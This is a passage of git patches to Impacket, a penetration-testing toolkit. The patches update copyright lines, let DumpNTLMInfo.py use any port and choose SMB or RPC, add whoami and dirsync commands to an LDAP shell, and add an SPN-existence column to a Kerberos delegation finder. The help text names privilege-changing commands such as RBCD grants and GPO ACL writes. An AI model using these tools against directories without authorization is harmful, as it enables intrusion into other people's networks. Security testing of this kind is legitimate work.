b/examples/getST.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 # Impacket - Collection of Python classes for working with network protocols. # -# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file From f900a886f81a79051ed98884b0d5dac359a4b6ec Mon Sep 17 00:00:00 2001 From: adrian manrique <60896207+anadrianmanrique@users.noreply.github.com> Date: Fri, 17 May 2024 09:15:33 -0300 Subject: [PATCH 44/49] Update getST.py --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index ba98b2fe6e..9ecdb64772 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright (C) 2024 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file From 269ce69872f0e8f2188a80addb0c39fedfa6dcb8 Mon Sep 17 00:00:00 2001 From: adrian manrique <60896207+anadrianmanrique@users.noreply.github.com> Date: Fri, 17 May 2024 09:16:10 -0300 Subject: [PATCH 45/49] updated copyright notice --- examples/dacledit.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index a54ec9fa55..71d21236f5 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 # Impacket - Collection of Python classes for working with network protocols. # -# SECUREAUTH LABS. Copyright (C) 2024 SecureAuth Corporation. All rights reserved. +# Copyright (C) 2024 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file From ced688ad773050998ad6f8b564e0d02b1bdcf063 Mon Sep 17 00:00:00 2001 From: Jeff McJunkin Date: Tue, 21 May 2024 17:26:52 -0400 Subject: [PATCH 46/49] Update DumpNTLMInfo.py: Allow non-default ports (#1730) * Update DumpNTLMInfo.py: Allow non-default ports Remove restrictions on `-port` (can specify any port number). Add new `-protocol`, defaulting to SMB. If `-port 135` and `-protocol` isn't specified, assume RPC. * DumpNTLMInfo.py: Additional logging and handle SMB/RPC better --- examples/DumpNTLMInfo.py | 28 +++++++++++++++++++++------- 1 file changed, 21 insertions(+), 7 deletions(-) diff --git a/examples/DumpNTLMInfo.py b/examples/DumpNTLMInfo.py index a13ae745ec..c4bc3b74c9 100644 --- a/examples/DumpNTLMInfo.py +++ b/examples/DumpNTLMInfo.py @@ -479,16 +479,17 @@ def _get_my_name(self): class DumpNtlm: - def __init__(self, ip, hostname, port) -> None: + def __init__(self, ip, hostname, port, protocol) -> None: self.target = ip self.hostname = hostname self._sess_port = int(port) + self._protocol = protocol self._timeout = 60 def DisplayInfo(self): - if self._sess_port in [139, 445]: + if self._protocol == 'SMB': self.DisplaySmbInfo() - elif self._sess_port in [135]: + elif self._protocol == 'RPC': self.DisplayRpcInfo() def DisplayRpcInfo(self): @@ -636,8 +637,10 @@ def __convert_size(self, size_bytes): parser.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 'This is useful when target is the NetBIOS name and you cannot resolve it') - parser.add_argument('-port', choices=['135', '139', '445'], nargs='?', default='445', metavar="destination port", - help='Destination port to connect to SMB/RPC Server') + parser.add_argument('-port', type=int, default=445, metavar="destination port", + help='Destination port to connect to SMB/RPC Server') + parser.add_argument('-protocol', choices=['SMB', 'RPC'], nargs='?', metavar="protocol", + help='Protocol to use (SMB or RPC). Default is SMB, port 135 uses RPC normally.') if len(sys.argv) == 1: parser.print_help() @@ -645,6 +648,16 @@ def __convert_size(self, size_bytes): options = parser.parse_args() + if options.port == 135: + if not options.protocol: + options.protocol = 'RPC' + logging.info("Port 135 specified; using RPC protocol by default. Use `-protocol SMB` to force SMB protocol.") + elif options.protocol == 'SMB': + logging.info("Port 135 specified with SMB protocol. Are you sure you don't want `-protocol RPC`?") + elif not options.protocol: + options.protocol = 'SMB' + logging.info("Defaulting to SMB protocol.") + if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) logging.debug(version.getInstallationPath()) @@ -653,9 +666,10 @@ def __convert_size(self, size_bytes): try: if options.target_ip is not None: - dumper = DumpNtlm(options.target_ip, options.target, int(options.port)) + dumper = DumpNtlm(options.target_ip, options.target, int(options.port), options.protocol) else: - dumper = DumpNtlm(options.target, options.target, int(options.port)) + dumper = DumpNtlm(options.target, options.target, int(options.port), options.protocol) + logging.info("Using target: %s, IP: %s, Port: %d, Protocol: %s" % (options.target, options.target_ip or options.target, options.port, options.protocol) ) dumper.DisplayInfo() except Exception as e: if logging.getLogger().level == logging.DEBUG: From f9d1d74763e6694596aa69061b7ff20d4dc363c0 Mon Sep 17 00:00:00 2001 From: adrian manrique <60896207+anadrianmanrique@users.noreply.github.com> Date: Wed, 22 May 2024 10:22:49 -0300 Subject: [PATCH 47/49] Update shadow_credentials.py added pydsinternals project reference --- impacket/examples/ntlmrelayx/utils/shadow_credentials.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/impacket/examples/ntlmrelayx/utils/shadow_credentials.py b/impacket/examples/ntlmrelayx/utils/shadow_credentials.py index 09f429ba3f..1f4574ff08 100644 --- a/impacket/examples/ntlmrelayx/utils/shadow_credentials.py +++ b/impacket/examples/ntlmrelayx/utils/shadow_credentials.py @@ -1,3 +1,6 @@ +# code based on pydsinternals project by p0dalirius +# https://github.com/p0dalirius/pydsinternals + import OpenSSL from Cryptodome.PublicKey import RSA import struct From 452ca845f3ad7452616da54a794eff6285bfccbf Mon Sep 17 00:00:00 2001 From: nurfed1 Date: Thu, 23 May 2024 07:06:19 +0200 Subject: [PATCH 48/49] Add ldapshell dirsync/whoami (#1424) --- impacket/examples/ldap_shell.py | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/impacket/examples/ldap_shell.py b/impacket/examples/ldap_shell.py index d9c492203b..2a31ed5bbc 100755 --- a/impacket/examples/ldap_shell.py +++ b/impacket/examples/ldap_shell.py @@ -628,6 +628,30 @@ def get_dn(self, sam_name): except IndexError: return None + def do_whoami(self, line): + print(self.client.extend.standard.who_am_i()) + + def do_dirsync(self, line): + arguments = shlex.split(line) + if len(arguments) == 0: + raise Exception("A query is required.") + + domain_dn = self.domain_dumper.root + sync_filter = arguments[0] + attributes = list(set(['name', 'sAMAccountName', 'objectsid'] + arguments[1:])) + + sync = self.client.extend.microsoft.dir_sync(domain_dn, attributes=attributes, sync_filter=sync_filter, incremental_values=False) + + results = [] + while sync.more_results: + results += sync.loop() + + for result in results: + print(result['dn']) + for k, v in result['attributes'].items(): + print(k, v) + print() + def do_exit(self, line): if self.shell is not None: self.shell.close() @@ -653,6 +677,8 @@ def do_help(self, line): set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName). start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS. Use this to bypass channel binding for operations necessitating an encrypted channel. write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}. + whoami - get connected user + dirsync - Dirsync requested attributes exit - Terminates this session.""") def do_EOF(self, line): From 15eff8805116007cfb59332a64194a5b9c8bcf25 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?R=C3=A9mi=20GASCOU=20=28Podalirius=29?= Date: Thu, 23 May 2024 12:55:07 +0200 Subject: [PATCH 49/49] [enhancement] Adding column to show if SPN exists in finddelegations.py (#1727) * Added a SPN column to check for existence * Created checkIfSPNExists() function --- examples/findDelegation.py | 32 ++++++++++++++++++++++++++++---- 1 file changed, 28 insertions(+), 4 deletions(-) diff --git a/examples/findDelegation.py b/examples/findDelegation.py index 1acd705a8b..371e9cb311 100755 --- a/examples/findDelegation.py +++ b/examples/findDelegation.py @@ -35,6 +35,28 @@ from impacket.smbconnection import SMBConnection, SessionError +def checkIfSPNExists(ldapConnection, sAMAccountName, rights): + # Check if SPN exists + spnExists = "-" + if rights == "N/A": + query = "(servicePrincipalName=HOST/%s)" % sAMAccountName.rstrip("$") + else: + query = "(servicePrincipalName=%s)"%rights + + respSpnExists = ldapConnection.search( + searchFilter=query, + attributes=["servicePrincipalName", "distinguishedName"], + sizeLimit=1 + ) + results = [item for item in respSpnExists if isinstance(item, ldapasn1.SearchResultEntry)] + if len(results) != 0: + spnExists = "Yes" + else: + spnExists = "No" + + return spnExists + + class FindDelegation: @staticmethod def printTable(items, header): @@ -225,7 +247,8 @@ def run(self): logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for rights, objType in zip(rbcdRights,rbcdObjType): - answers.append([rights, objType, 'Resource-Based Constrained', sAMAccountName]) + spnExists = checkIfSPNExists(ldapConnection, sAMAccountName, rights) + answers.append([rights, objType, 'Resource-Based Constrained', sAMAccountName, str(spnExists)]) #print unconstrained + constrained delegation relationships if delegation in ['Unconstrained', 'Constrained', 'Constrained w/ Protocol Transition']: @@ -234,13 +257,14 @@ def run(self): logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for rights in rightsTo: - answers.append([sAMAccountName, objectType, delegation, rights]) + spnExists = checkIfSPNExists(ldapConnection, sAMAccountName, rights) + answers.append([sAMAccountName, objectType, delegation, rights, str(spnExists)]) except Exception as e: logging.error('Skipping item, cannot process due to error %s' % str(e)) pass - if len(answers)>0: - self.printTable(answers, header=[ "AccountName", "AccountType", "DelegationType", "DelegationRightsTo"]) + if len(answers) > 0: + self.printTable(answers, header=["AccountName", "AccountType", "DelegationType", "DelegationRightsTo", "SPN Exists"]) print('\n\n') else: print("No entries found!")